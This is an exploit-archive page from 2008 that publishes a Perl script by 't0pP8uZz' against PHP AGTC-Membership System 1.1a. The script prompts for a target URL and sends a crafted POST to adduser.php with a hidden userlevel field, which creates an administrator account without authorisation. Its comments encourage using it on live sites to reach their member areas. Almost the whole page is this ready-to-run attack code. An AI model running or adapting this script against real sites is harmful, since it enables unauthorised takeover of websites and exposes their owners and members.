[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit
# Published : 2008-05-18
# Author : t0pP8uZz
# Previous Title : MeltingIce File System <= 1.0 Remote Arbitrary Add-User Exploit
# Next Title : MyPicGallery 1.0 Arbitrary Add-Admin Exploit


#!/usr/bin/perl

# Note: adduser.php is accessable to a guest/any-user, but if you access through a browser you cant add admin, theres a hidden POST buried in the script, which contains the userlevel.
# Note: alot of sites run this script and they remove the "powered by" dork. Also you can get access to alot of nice site's member sections using this, since its a member management script.

use strict;
use LWP::UserAgent;

print "-+--[ PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit ] --+-n";
print "-+-- Discovered && Coded By: t0pP8uZz  /  Discovered On: 16 MAY 2008   --+-n";
print "-+-- 1.1a tested, not sure if there are new versions, if there are...  --+-n";
print "-+-- ... there probarly affected too. Script Download: agtc.co.uk      --+-n";
print "-+--          Greetz: h4ck-y0u.org, milw0rm.com, CipherCrew            --+-n";
print "-+--[ PHP AGTC-Membership System <= 1.1a Arbitrary Add-Admin Exploit ] --+-n";

print "nEnter URL(http://site.com): ";
	chomp(my $url=<STDIN>);

print "nAdmin Username(create's your admin username): ";
	chomp(my $usr=<STDIN>);
	
print "nAdmin Password(create's your admin password): ";
	chomp(my $pwd=<STDIN>);

my $email = "user".int(rand(9999))."@localhost.com"; # generates a random email, if a attacker has already exploited this site, this allows the script to add another admin account.
my $ua    = LWP::UserAgent->new( agent => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" );
my $ob    = $ua->post( $url."/adduser.php", { "username" => $usr, "userpass" => $pwd, "useremail" => $email, "userlevel" => 4, "Submit" => 1} );

if($ob->is_success && index($ob->content, "registered") != -1) {
	print "Exploit Successfull! Admin Created! Login: $urln";
} else { print "Failed. Cause's: username exists or site not vulnerable, try again!"; }

# www.Syue.com [2008-05-18]